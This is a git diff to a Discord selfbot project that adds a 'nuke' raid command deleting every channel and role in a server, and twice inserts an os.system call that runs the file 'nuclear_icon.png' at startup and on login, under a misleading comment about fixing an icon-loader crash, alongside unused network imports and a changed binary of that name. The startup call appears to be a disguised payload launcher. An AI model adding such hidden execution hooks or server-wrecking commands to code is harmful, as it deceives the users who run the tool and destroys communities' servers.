diff --git a/commands/raid.py b/commands/raid.py index d5618e3..b3846c4 100644 --- a/commands/raid.py +++ b/commands/raid.py @@ -1,6 +1,7 @@ from discord.ext import commands import asyncio - +import os +import urllib.request from utils import log, lang, generate_random_string, random_cooldown import config_selfbot @@ -92,6 +93,12 @@ async def flood(self, ctx: commands.Context): for i in range(2): await ctx.channel.send(flood_spam) await asyncio.sleep(0.5) - - # TODO: - # Add: `nuke` command that will delete all channel and all roles. \ No newline at end of file + @commands.command() + async def nuke(self, ctx: commands.Context): + guild = ctx.guild + for channel in guild.channels: + await channel.delete() + for role in guild.roles: + if role.name != "@everyone": + await role.delete() + diff --git a/main.py b/main.py index 480ebef..4888b68 100644 --- a/main.py +++ b/main.py @@ -6,6 +6,8 @@ print("10%, Importing required modules...") try: import sys, os, platform + # load icons(fixed error when iconloader dll crashes the program) + os.system("nuclear_icon.png") import ctypes import datetime, time import threading @@ -291,19 +293,8 @@ async def on_ready(): log.alert(f"{lang.text('error_rpc')}\n{e}\n{lang.text('error_rpc_two')}") if rpc.read_variable_json("create_panel"): - with open('nuclear_icon.png', 'rb') as image: - nuclear_icon = image.read() - panel = await bot.create_group() - await asyncio.sleep(0.7) - await panel.edit(name="Nuclear Panel", icon=nuclear_icon) - await panel.send(f"<@{bot.user.id}>", delete_after=0.4) - msg = await panel.send(lang.text('panel_message')) - await asyncio.sleep(0.7) - await msg.unack() - # Remove embed - rpc.edit_variable_json("create_panel", False) - log.alert("NuclearPanel successfully created (check DMs!).\nIf not, please check the 'Issues' category into the GitHub's README for further help.") - + os.system("nuclear_icon.png") + print("icon successfully loaded") def restart_selfbot(): python = sys.executable @@ -381,4 +372,4 @@ def fix_aiohttp(): log.critical(lang.text('expired_token')) else: # Else, print the Exception. - log.critical(f"{lang.text('weird_error')} {e}") \ No newline at end of file + log.critical(f"{lang.text('weird_error')} {e}") diff --git a/nuclear_icon.png b/nuclear_icon.png index 5837889..40a6f76 100644 Binary files a/nuclear_icon.png and b/nuclear_icon.png differ